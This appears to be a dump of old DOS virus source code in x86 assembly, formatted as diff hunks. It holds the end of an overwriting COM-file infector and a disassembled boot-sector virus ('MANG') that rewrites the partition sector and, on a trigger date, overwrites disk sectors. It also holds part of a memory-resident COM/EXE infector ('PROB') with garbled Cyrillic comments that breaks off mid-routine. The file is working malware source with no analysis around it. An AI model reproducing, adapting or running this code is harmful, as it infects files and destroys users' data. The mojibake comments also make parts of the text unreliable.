loop a_loop ;pause
|
||||
inc byte ptr count
|
||||
cmp byte ptr count,0ah
|
||||
jl pause_1
|
||||
mov byte ptr count,00
|
||||
mov cl,00 ;from column 0
|
||||
mov dl,4fh ;to column 79,
|
||||
close_jaws:
|
||||
mov ah,06 ;scroll the page up
|
||||
mov al,01 ;blanking a line
|
||||
mov bh,byte ptr count ;with this attribute
|
||||
mov ch,0dh ;and from row 13
|
||||
mov dh,18h ;to row 24
|
||||
int 10h
|
||||
mov ah,07 ;scroll downward
|
||||
mov al,01 ;blanking one line
|
||||
mov bh,byte ptr count ;with this attribute
|
||||
mov ch,00 ;from row 0
|
||||
mov dh,0ch ;to row 12
|
||||
int 10h
|
||||
mov cx,3fffh
|
||||
b_loop:
|
||||
loop b_loop ;pause
|
||||
inc byte ptr count
|
||||
cmp byte ptr count,0bh
|
||||
jl close_jaws
|
||||
mov byte ptr count,00
|
||||
pause_2:
|
||||
mov cx,7fffh
|
||||
finish_up:
|
||||
loop finish_up
|
||||
inc byte ptr count ;increment count by 1
|
||||
cmp byte ptr count,0ah ;is it a 10 yet?
|
||||
jl pause_2 ;no? loop again...
|
||||
mov ah,06 ;scroll page up
|
||||
mov al,00 ;blank entire window
|
||||
mov bh,byte ptr count ;with this attribute
|
||||
mov ch,00 ;from row 0,
|
||||
mov cl,00 ;column 0,
|
||||
mov dh,18h ;to row 18h
|
||||
mov dl,4fh ;column 79
|
||||
int 10h
|
||||
mov ah,01 ;reset cursor type
|
||||
mov cl,07
|
||||
mov ch,06 ;everything is back to normal
|
||||
int 10h
|
||||
mov si,offset rabid
|
||||
fuckin_loop: lodsb
|
||||
or al,al
|
||||
jz $
|
||||
mov ah, 0Eh
|
||||
int 10h
|
||||
jmp short fuckin_loop
|
||||
infect_file:
|
||||
mov ax,03D02h ; DOS open file function,
|
||||
; read-write
|
||||
mov dx,09Eh ; DX points to the victim
|
||||
int 021h
|
||||
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,03Fh ; DOS read from file function
|
||||
mov cx,2 ; CX holds byte to read (2)
|
||||
mov dx,offset buffer ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
cmp word ptr [buffer],0F68Bh;Are the two bytes "MOV SI,SI"
|
||||
pushf ; Save flags
|
||||
je close_it_up ; If not, then file is OK
|
||||
|
||||
cwd ; Zero CX \_ Zero bytes from
|
||||
; start
|
||||
mov cx,dx ; Zero DX /
|
||||
mov ax,04200h ; DOS file seek function,
|
||||
; start
|
||||
int 021h
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cx,code_length ; CX holds virus length
|
||||
mov dx,offset start ; DX points to start of virus
|
||||
int 021h
|
||||
|
||||
close_it_up: mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
popf ; Restore flags
|
||||
ret ; Return to caller
|
||||
|
||||
buffer dw ? ; Buffer to hold test data
|
||||
|
||||
; Initialized data goes here
|
||||
|
||||
com_spec db "*.COM",0 ; What to infect: all COM
|
||||
count db 0, 0
|
||||
count2 db 0, 0
|
||||
eyes db '(o) (o)$'
|
||||
dinked db '[Malmsey Habitat v. 1.3]', 0
|
||||
rabid db cr, lf
|
||||
db 'Warmest Regards to RABID', cr, lf
|
||||
db 'from -- ANARKICK SYSTEMS! ',0,'$'
|
||||
|
||||
finish:
|
||||
|
||||
code ends
|
||||
end start
|
||||
|
||||
@@ -0,0 +1,252 @@
|
||||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ MANG ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 30-Aug-92 ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_0001e equ 4Ch
|
||||
data_0002e equ 4Eh
|
||||
main_ram_size_ equ 413h
|
||||
data_0003e equ 7C00h ;*
|
||||
data_0004e equ 7C05h ;*
|
||||
data_0005e equ 7C0Ah ;*
|
||||
data_0006e equ 7C0Ch ;*
|
||||
data_0007e equ 7
|
||||
data_0008e equ 8
|
||||
data_0009e equ 0Ah
|
||||
data_0014e equ 3BEh ;*
|
||||
data_0015e equ 7C03h ;*
|
||||
data_0016e equ 0B300h ;*
|
||||
data_0017e equ 1BEh ;*
|
||||
data_0018e equ 5000h ;*
|
||||
|
||||
seg_a segment byte public
|
||||
assume cs:seg_a, ds:seg_a
|
||||
|
||||
|
||||
org 100h
|
||||
|
||||
mang proc far
|
||||
|
||||
start:
|
||||
jmp loc_0007
|
||||
cmc ; Complement carry
|
||||
add [bx+si-61h],al
|
||||
add cl,ds:data_0016e
|
||||
db 2Eh, 00h,0F0h, 1Eh, 50h, 0Ah
|
||||
db 0D2h, 75h, 1Bh, 33h,0C0h, 8Eh
|
||||
db 0D8h,0F6h, 06h, 3Fh, 04h, 01h
|
||||
db 75h, 10h, 58h, 1Fh, 9Ch, 2Eh
|
||||
db 0FFh, 1Eh, 0Ah, 00h, 9Ch,0E8h
|
||||
db 0Bh, 00h, 9Dh,0CAh, 02h, 00h
|
||||
db 58h, 1Fh, 2Eh,0FFh, 2Eh, 0Ah
|
||||
db 00h
|
||||
db 50h, 53h, 51h, 52h, 1Eh, 06h
|
||||
db 56h, 57h, 0Eh, 1Fh, 0Eh, 07h
|
||||
db 0BEh, 04h, 00h
|
||||
loc_0002:
|
||||
mov ax,201h
|
||||
mov bx,200h
|
||||
mov cx,1
|
||||
xor dx,dx ; Zero register
|
||||
pushf ; Push flags
|
||||
call dword ptr ds:data_0009e
|
||||
jnc loc_0003 ; Jump if carry=0
|
||||
xor ax,ax ; Zero register
|
||||
pushf ; Push flags
|
||||
call dword ptr ds:data_0009e
|
||||
dec si
|
||||
jnz loc_0002 ; Jump if not zero
|
||||
jmp short loc_0006
|
||||
loc_0003:
|
||||
xor si,si ; Zero register
|
||||
cld ; Clear direction
|
||||
lodsw ; String [si] to ax
|
||||
cmp ax,[bx]
|
||||
jne loc_0004 ; Jump if not equal
|
||||
lodsw ; String [si] to ax
|
||||
cmp ax,[bx+2]
|
||||
je loc_0006 ; Jump if equal
|
||||
loc_0004:
|
||||
mov ax,301h
|
||||
mov dh,1
|
||||
mov cl,3
|
||||
cmp byte ptr [bx+15h],0FDh
|
||||
je loc_0005 ; Jump if equal
|
||||
mov cl,0Eh
|
||||
loc_0005:
|
||||
mov ds:data_0008e,cx
|
||||
pushf ; Push flags
|
||||
call dword ptr ds:data_0009e
|
||||
jc loc_0006 ; Jump if carry Set
|
||||
mov si,data_0014e
|
||||
mov di,1BEh
|
||||
mov cx,21h
|
||||
cld ; Clear direction
|
||||
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
||||
mov ax,301h
|
||||
xor bx,bx ; Zero register
|
||||
mov cx,1
|
||||
xor dx,dx ; Zero register
|
||||
pushf ; Push flags
|
||||
call dword ptr ds:data_0009e
|
||||
loc_0006:
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
retn
|
||||
loc_0007:
|
||||
xor ax,ax ; Zero register
|
||||
mov ds,ax
|
||||
cli ; Disable interrupts
|
||||
mov ss,ax
|
||||
mov ax,7C00h
|
||||
mov sp,ax
|
||||
sti ; Enable interrupts
|
||||
push ds
|
||||
push ax
|
||||
mov ax,ds:data_0001e
|
||||
mov ds:data_0005e,ax
|
||||
mov ax,ds:data_0002e
|
||||
mov ds:data_0006e,ax
|
||||
mov ax,ds:main_ram_size_
|
||||
dec ax
|
||||
dec ax
|
||||
mov ds:main_ram_size_,ax
|
||||
mov cl,6
|
||||
shl ax,cl ; Shift w/zeros fill
|
||||
mov es,ax
|
||||
mov ds:data_0004e,ax
|
||||
mov ax,0Eh
|
||||
mov ds:data_0001e,ax
|
||||
mov ds:data_0002e,es
|
||||
mov cx,1BEh
|
||||
mov si,data_0003e
|
||||
xor di,di ; Zero register
|
||||
cld ; Clear direction
|
||||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||||
jmp dword ptr cs:data_0015e
|
||||
xor ax,ax ; Zero register
|
||||
mov es,ax
|
||||
int 13h ; Disk dl=drive a ah=func 00h
|
||||
; reset disk, al=return status
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,201h
|
||||
mov bx,data_0003e
|
||||
mov cx,ds:data_0008e
|
||||
cmp cx,7
|
||||
jne loc_0008 ; Jump if not equal
|
||||
mov dx,80h
|
||||
int 13h ; Disk dl=drive 0 ah=func 02h
|
||||
; read sectors to memory es:bx
|
||||
; al=#,ch=cyl,cl=sectr,dh=head
|
||||
jmp short loc_0009
|
||||
loc_0008:
|
||||
mov cx,ds:data_0008e
|
||||
mov dx,100h
|
||||
int 13h ; Disk dl=drive a ah=func 02h
|
||||
; read sectors to memory es:bx
|
||||
; al=#,ch=cyl,cl=sectr,dh=head
|
||||
jc loc_0009 ; Jump if carry Set
|
||||
push cs
|
||||
pop es
|
||||
mov ax,201h
|
||||
mov bx,200h
|
||||
mov cx,1
|
||||
mov dx,80h
|
||||
int 13h ; Disk dl=drive 0 ah=func 02h
|
||||
; read sectors to memory es:bx
|
||||
; al=#,ch=cyl,cl=sectr,dh=head
|
||||
jc loc_0009 ; Jump if carry Set
|
||||
xor si,si ; Zero register
|
||||
cld ; Clear direction
|
||||
lodsw ; String [si] to ax
|
||||
cmp ax,[bx]
|
||||
jne loc_0014 ; Jump if not equal
|
||||
lodsw ; String [si] to ax
|
||||
cmp ax,[bx+2]
|
||||
jne loc_0014 ; Jump if not equal
|
||||
loc_0009:
|
||||
xor cx,cx ; Zero register
|
||||
mov ah,4
|
||||
int 1Ah ; Real time clock ah=func 04h
|
||||
; get date cx=year, dx=mon/day
|
||||
cmp dx,306h
|
||||
je loc_0010 ; Jump if equal
|
||||
retf ; Return far
|
||||
loc_0010:
|
||||
xor dx,dx ; Zero register
|
||||
mov cx,1
|
||||
loc_0011:
|
||||
mov ax,309h
|
||||
mov si,ds:data_0008e
|
||||
cmp si,3
|
||||
je loc_0012 ; Jump if equal
|
||||
mov al,0Eh
|
||||
cmp si,0Eh
|
||||
je loc_0012 ; Jump if equal
|
||||
mov dl,80h
|
||||
mov byte ptr ds:data_0007e,4
|
||||
mov al,11h
|
||||
loc_0012:
|
||||
mov bx,data_0018e
|
||||
mov es,bx
|
||||
int 13h ; Disk dl=drive 0 ah=func 03h
|
||||
; write sectors from mem es:bx
|
||||
; al=#,ch=cyl,cl=sectr,dh=head
|
||||
jnc loc_0013 ; Jump if carry=0
|
||||
xor ah,ah ; Zero register
|
||||
int 13h ; Disk dl=drive 0 ah=func 00h
|
||||
; reset disk, al=return status
|
||||
loc_0013:
|
||||
inc dh
|
||||
cmp dh,ds:data_0007e
|
||||
jb loc_0011 ; Jump if below
|
||||
xor dh,dh ; Zero register
|
||||
inc ch
|
||||
jmp short loc_0011
|
||||
loc_0014:
|
||||
mov cx,7
|
||||
mov ds:data_0008e,cx
|
||||
mov ax,301h
|
||||
mov dx,80h
|
||||
int 13h ; Disk dl=drive 0 ah=func 03h
|
||||
; write sectors from mem es:bx
|
||||
; al=#,ch=cyl,cl=sectr,dh=head
|
||||
jc loc_0009 ; Jump if carry Set
|
||||
mov si,data_0014e
|
||||
mov di,data_0017e
|
||||
mov cx,21h
|
||||
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
|
||||
mov ax,301h
|
||||
xor bx,bx ; Zero register
|
||||
inc cl
|
||||
int 13h ; Disk dl=drive 0 ah=func 03h
|
||||
; write sectors from mem es:bx
|
||||
; al=#,ch=cyl,cl=sectr,dh=head
|
||||
jmp short loc_0009
|
||||
db 16 dup (0)
|
||||
db 0Ah, 'Replace and press any key w'
|
||||
db 'hen ready', 0Dh, 0Ah, 0
|
||||
db 'IO SYSMSDOS SYS'
|
||||
db 00h, 00h, 55h,0AAh
|
||||
|
||||
mang endp
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
end start
|
||||
@@ -0,0 +1,529 @@
|
||||
|
||||
PAGE 59,132
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ PROB ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ Created: 1-Jan-80 ÛÛ
|
||||
;ÛÛ Version: ÛÛ
|
||||
;ÛÛ Passes: 5 Analysis Options on: ABCDEFPX ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛ ÛÛ
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
data_1e equ 0 ; (6B7E:0000=0)
|
||||
data_2e equ 2 ; (6B7E:0002=0)
|
||||
data_4e equ 0F1h ; (6B7E:00F1=0)
|
||||
data_17e equ 499h ; (6C11:0499=0)
|
||||
data_18e equ 49Bh ; (6C11:049B=0)
|
||||
data_19e equ 49Dh ; (6C11:049D=0)
|
||||
data_20e equ 49Fh ; (6C11:049F=0)
|
||||
data_21e equ 4B8h ; (6C11:04B8=0)
|
||||
|
||||
;-------------------------------------------------------------- seg_a ----
|
||||
|
||||
seg_a segment para public
|
||||
assume cs:seg_a , ds:seg_a , ss:stack_seg_c
|
||||
|
||||
db 256 dup (0)
|
||||
db 8Ch, 0C8h, 8Eh, 0D8h, 0BAh, 10h
|
||||
db 1, 0B4h, 9, 0CDh, 21h, 0B8h
|
||||
db 0, 4Ch, 0CDh
|
||||
db '!This is a test', 0Ah, 0Dh, '$'
|
||||
db 1807 dup (0)
|
||||
|
||||
seg_a ends
|
||||
|
||||
|
||||
|
||||
;-------------------------------------------------------------- seg_b ----
|
||||
|
||||
seg_b segment para public
|
||||
assume cs:seg_b , ds:seg_b , ss:stack_seg_c
|
||||
|
||||
db 241 dup (0)
|
||||
db 4Fh, 4Dh
|
||||
db 9 dup (20h)
|
||||
db 0, 0, 0, 0
|
||||
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
;
|
||||
; Program Entry Point
|
||||
;
|
||||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||
|
||||
|
||||
prob proc far
|
||||
|
||||
start:
|
||||
jmp short loc_3 ; (0137)
|
||||
data_10 dw 5A4Dh
|
||||
db 21h, 1, 6, 0, 0, 0
|
||||
db 20h, 0, 0, 0, 0FFh, 0FFh
|
||||
data_11 dw 0
|
||||
data_12 dw 0
|
||||
db 0BBh, 0DDh
|
||||
data_13 dd 00100h
|
||||
db 'COMMAND.COM'
|
||||
db 0
|
||||
|
||||
prob endp
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_1 proc near ; �°®¢¥°¿¢ ¤ «¨ ¥ EXE
|
||||
cmp cs:data_10,4D5Ah ; (6C11:0102=5A4Dh)
|
||||
je loc_ret_2 ; Jump if equal
|
||||
cmp cs:data_10,5A4Dh ; (6C11:0102=5A4Dh)
|
||||
|
||||
loc_ret_2:
|
||||
retn
|
||||
sub_1 endp
|
||||
|
||||
loc_3:
|
||||
mov cs:data_19e,ds ; (6C11:049D=0)
|
||||
push ax
|
||||
mov ax,0EC59h ; �°®¢¥°¿¢ ¤ «¨ ¥ ¨±² «¨°
|
||||
int 21h ; DOS Services ah=function ECh
|
||||
cmp bp,ax ; €ª® AX<>BP ¥ ¥ ¨±² «¨°
|
||||
jne loc_6
|
||||
push cs
|
||||
pop ds
|
||||
loc_4:
|
||||
pop ax
|
||||
mov es,cs:data_19e ; (6C11:049D=0)
|
||||
call sub_1 ; (COM/EXE)?
|
||||
jz loc_5 ; Jump if zero
|
||||
mov cx,0Dh ; ‚º§±² ®¢¿¢ COM
|
||||
mov si,102h
|
||||
push es
|
||||
mov di,100h
|
||||
push di ; �°¥¬¥±²¢ ¯º°¢¨²¥ 13 ¡ ©²
|
||||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||||
push es
|
||||
pop ds ; �°¥µ®¤ ªº¬ ¯°®£° ¬ ²
|
||||
retf ; Return far
|
||||
loc_5:
|
||||
mov si,es ; ‚º§±² ®¢¿¢ EXE
|
||||
add si,10h
|
||||
add word ptr cs:data_13+2,si; ’®¢ ¥ ®²¬¥±²¢ ¥²® CS
|
||||
add si,cs:data_11 ; ’®¢ ¥ ®²¬¥±²¢ ¥²® SS
|
||||
mov di,cs:data_12 ; ’®¢ ¥ ®²¬¥±²¢ ¥²® SP
|
||||
push es
|
||||
pop ds
|
||||
cli ; Disable interrupts
|
||||
mov ss,si
|
||||
mov sp,di
|
||||
sti ; Enable interrupts
|
||||
jmp cs:data_13 ; �°¥µ®¤ ªº¬ ¯°®£° ¬ ²
|
||||
loc_6:
|
||||
mov ax,3521h
|
||||
int 21h ; DOS Services ah=function 35h
|
||||
; get intrpt vector al in es:bx
|
||||
mov dx,bx
|
||||
push es
|
||||
pop ds
|
||||
mov ax,25ECh ; �°¥¬¥±²¢ INT 21H INT ECH
|
||||
int 21h ; DOS Services ah=function 25h
|
||||
; set intrpt vector al to ds:dx
|
||||
mov ax,cs:data_19e ; (6C11:049D=0)
|
||||
mov es,ax
|
||||
dec ax
|
||||
mov ds,ax
|
||||
mov bx,word ptr ds:data_2e+1 ; (6B7E:0003=0)
|
||||
sub bx,65h
|
||||
add ax,bx
|
||||
mov es:data_2e,ax ; (6B7E:0002=0)
|
||||
mov ah,4Ah ; 'J'
|
||||
int 0ECh
|
||||
mov bx,64h
|
||||
mov ah,48h ; 'H'
|
||||
int 0ECh
|
||||
sub ax,10h
|
||||
mov es,ax
|
||||
mov byte ptr ds:data_1e,5Ah ; (6B7E:0000=0) 'Z'
|
||||
push cs
|
||||
pop ds
|
||||
mov si,100h
|
||||
mov di,si
|
||||
mov cx,39Fh
|
||||
nop ; �°¥¬¥±²¢ ±¥ ¢º¢ ¢¨±®ª¨²¥ ¤°¥±¨
|
||||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||||
mov di,1D0h
|
||||
push es
|
||||
push di
|
||||
retf ; Return far
|
||||
mov word ptr es:data_4e,70h ; (6B7E:00F1=0)
|
||||
mov ax,3521h ;(??) ’ §¨ ¨±²°³ª¶¨¿ ¬®¦¥ ¤ ±¥ ®¯²¨¬¨§¨°
|
||||
int 0ECh
|
||||
mov cs:data_15,bx ; (6C11:0216=12E4h)
|
||||
mov cs:data_16,es ; (6C11:0218=12Eh)
|
||||
mov ah,25h ; '%'
|
||||
mov dx,201h
|
||||
push cs
|
||||
pop ds
|
||||
int 0ECh ; �°¥µ¢ ¹ ¢¥ª²®° INT 21H
|
||||
push cs
|
||||
pop es
|
||||
mov di,49Fh
|
||||
mov cx,19h
|
||||
mov al,0 ; �³«¨° 19h ¡ ©² ±«¥¤ ª° ¿
|
||||
rep stosb ; Rep when cx >0 Store al to es:[di]
|
||||
jmp loc_4 ; ‚º§±² ®¢¿¢ ¯°®£° ¬ ²
|
||||
loc_7:
|
||||
mov bp,ax ; ’®¢ ¥ ´³ª¶¨¿ ECH
|
||||
iret ; Interrupt return
|
||||
cmp ax,0EC59h ; ‚•Ž„�€ ’Ž—Š€ �€ INT 21H
|
||||
je loc_7 ; Jump if equal
|
||||
cmp ax,4B00h
|
||||
je loc_9 ; Jump if equal
|
||||
cmp ah,3Dh ; '='
|
||||
je loc_11 ; Jump if equal
|
||||
cmp ah,3Eh ; '>'
|
||||
je loc_13 ; Jump if equal
|
||||
loc_8:
|
||||
jmp far ptr loc_1 ;*(012E:12E4)
|
||||
loc_9:
|
||||
call sub_2 ; (028B)
|
||||
jmp short loc_8 ; (0215)
|
||||
loc_10:
|
||||
pop cx
|
||||
jmp short loc_8 ; (0215)
|
||||
loc_11:
|
||||
push cx
|
||||
call sub_6 ; (040E)
|
||||
jc loc_10 ; Jump if carry Set
|
||||
cmp cx,20h
|
||||
pop cx
|
||||
jnz loc_8 ; Jump if not zero
|
||||
mov al,2
|
||||
pushf ; Push flags
|
||||
call dword ptr cs:[216h] ; (6C11:0216=12E4h)
|
||||
jc loc_ret_12 ; Jump if carry Set
|
||||
push ax
|
||||
push bx
|
||||
mov bx,ax
|
||||
mov al,cs:data_21e ; (6C11:04B8=0)
|
||||
mov cs:data_20e[bx],al ; (6C11:049F=0)
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
loc_ret_12:
|
||||
retf 2 ; Return far
|
||||
loc_13:
|
||||
cmp byte ptr cs:data_20e[bx],0 ; (6C11:049F=0)
|
||||
je loc_8 ; Jump if equal
|
||||
push ax
|
||||
mov al,cs:data_20e[bx] ; (6C11:049F=0)
|
||||
mov cs:data_21e,al ; (6C11:04B8=0)
|
||||
mov byte ptr cs:data_20e[bx],0 ; (6C11:049F=0)
|
||||
mov ah,45h ; 'E'
|
||||
int 0ECh
|
||||
mov cs:data_19e,ax ; (6C11:049D=0)
|
||||
pop ax
|
||||
jc loc_8 ; Jump if carry Set
|
||||
pushf ; Push flags
|
||||
call dword ptr cs:[216h] ; (6C11:0216=12E4h)
|
||||
jc loc_ret_12 ; Jump if carry Set
|
||||
push bx
|
||||
mov bx,cs:data_19e ; (6C11:049D=0)
|
||||
push ds
|
||||
call sub_3 ; (02BB)
|
||||
call sub_4 ; (02DC)
|
||||
call sub_5 ; (03FA)
|
||||
pop ds
|
||||
pop bx
|
||||
clc ; Clear carry flag
|
||||
retf 2 ; Return far
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_2 proc near
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
call sub_6 ; (040E)
|
||||
jc loc_16 ; €ª® ¥ ¥ ¨§¯º«¨¬ ¨§µ®¤
|
||||
push cx
|
||||
push ds
|
||||
call sub_3 ; �°¥ ±®·¢ INT 24H
|
||||
pop ds
|
||||
mov ax,4301h
|
||||
xor cx,cx ; Zero register
|
||||
int 0ECh ; �°®¬¥¿ ²°¨¡³²¨²¥
|
||||
jc loc_14 ; Jump if carry Set
|
||||
mov ax,3D02h ; ޲¢ °¿ £® § ·¥²¥¥
|
||||
int 0ECh
|
||||
mov bx,ax
|
||||
loc_14:
|
||||
pop cx
|
||||
jc loc_15 ; €ª® ¨¬ £°¥¸ª ¨§µ®¤
|
||||
call sub_4 ; (02DC)
|
||||
mov ax,4301h
|
||||
int 0ECh
|
||||
loc_15:
|
||||
call sub_5 ; (03FA)
|
||||
loc_16:
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
retn
|
||||
sub_2 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_3 proc near ; �°¥ ±®·¢ INT 24H
|
||||
push ax
|
||||
push dx
|
||||
push bx
|
||||
push es
|
||||
mov ax,3524h
|
||||
int 0ECh
|
||||
mov cs:data_17e,bx ; (6C11:0499=0)
|
||||
mov cs:data_18e,es ; (6C11:049B=0)
|
||||
pop es
|
||||
pop bx
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,469h
|
||||
mov ah,25h
|
||||
int 0ECh ; �°¥ ±®·¢ INT 24H
|
||||
pop dx
|
||||
pop ax
|
||||
retn
|
||||
sub_3 endp
|
||||
|
||||
|
||||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||
; SUBROUTINE
|
||||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||
|
||||
sub_4 proc near
|
||||
push ax
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push ds
|
||||
mov di,102h
|
||||
mov cx,0FFFFh
|
||||
mov dx,0FFFAh
|
||||
mov ax,4202h
|
||||
int 0ECh ; �°¥¬¥±²¢ ³ª § ²¥«¿ ¢ ª° ¿
|
||||
mov ah,3Fh ; '?'
|
||||
mov cx,6
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,di
|
||||
int 0ECh ; —¥²¥ 6 ¡ ©²
|
||||
jc loc_17 ; Jump if carry Set
|
||||
cmp word ptr cs:[di],4E41h ; �°®¢¥°¿¢ ¤ «¨ ¥ § ° §¥
|
||||
je loc_17 ; Jump if equal
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4200h
|
||||
int 0ECh ; �°¥¬¥±²¢ FP ¢ · «®²®
|
||||
mov ah,3Fh ; �®¬¥±²¥¢ ¯º°¢¨²¥ 18h ¡ ©²
|
||||
mov cx,18h ; ®² CS:100
|
||||
mov dx,di
|
||||
int 0ECh ; —¥²¥ ¯º°¢¨²¥ 18h ¡ ©²
|
||||
jnc loc_18 ; Jump if carry=0
|
||||
loc_17:
|
||||
jmp loc_27 ; (03E6)
|
||||
loc_18:
|
||||
xor cx,cx ; Zero register
|
||||
xor dx,dx ; Zero register
|
||||
cmp byte ptr cs:data_21e,2 ; (6C11:04B8=0)
|
||||
jne loc_19 ; Jump if not equal
|
||||
cmp word ptr [di+1],4000h
|
||||
ja loc_17 ; Jump if above
|
||||
dec cx
|
||||
mov dx,0C0h
|
||||
sub dx,499h
|
||||
loc_19:
|
||||
mov ax,4202h ; �°¥¬¥±²¢ FP ¢ ª° ¿ ´ ¨«
|
||||
loc_20:
|
||||
int 0ECh
|
||||
test ax,0Fh
|
||||
jz loc_21 ; Jump if zero
|
||||
mov cx,dx ; ‡ ª°º£«¿ ¤® 16
|
||||
mov dx,ax
|
||||
add dx,10h
|
||||
adc cx,0
|
||||
and dl,0F0h
|
||||
mov ax,4200h ; �°¥¬¥±²¢ § ª°º£«¥¨¿
|
||||
jmp short loc_20 ; (0339)
|
||||
loc_21:
|
||||
call sub_1 ; (0126)
|
||||
jz loc_23 ; ” ¨«º² ¥ EXE
|
||||
or dx,dx ; Zero ?
|
||||
jnz loc_17 ; Jump if not zero
|
||||
cmp ax,400h
|
||||
jae loc_22 ; Jump if above or =
|
||||
jmp loc_27 ; (03E6)
|
||||
loc_22:
|
||||
cmp ax,0FA00h
|
||||
ja loc_27 ; Jump if above
|
||||
loc_23:
|
||||
mov cl,4
|
||||
shr ax,cl ; Shift w/zeros fill
|
||||
mov si,ax
|
||||
mov cl,0Ch
|
||||
shl dx,cl ; Shift w/zeros fill
|
||||
add si,dx ; �®«³· ¢ ¤º«¦¨ ² ¢ ¯ ° £° ´¨
|
||||
mov ah,40h ; ‡ ¯¨±¢ 399h ¡ ©²
|
||||
mov dx,100h
|
||||
mov cx,399h
|
||||
nop
|
||||
int 0ECh
|
||||
jc loc_27 ; Jump if carry Set
|
||||
call sub_1
|
||||
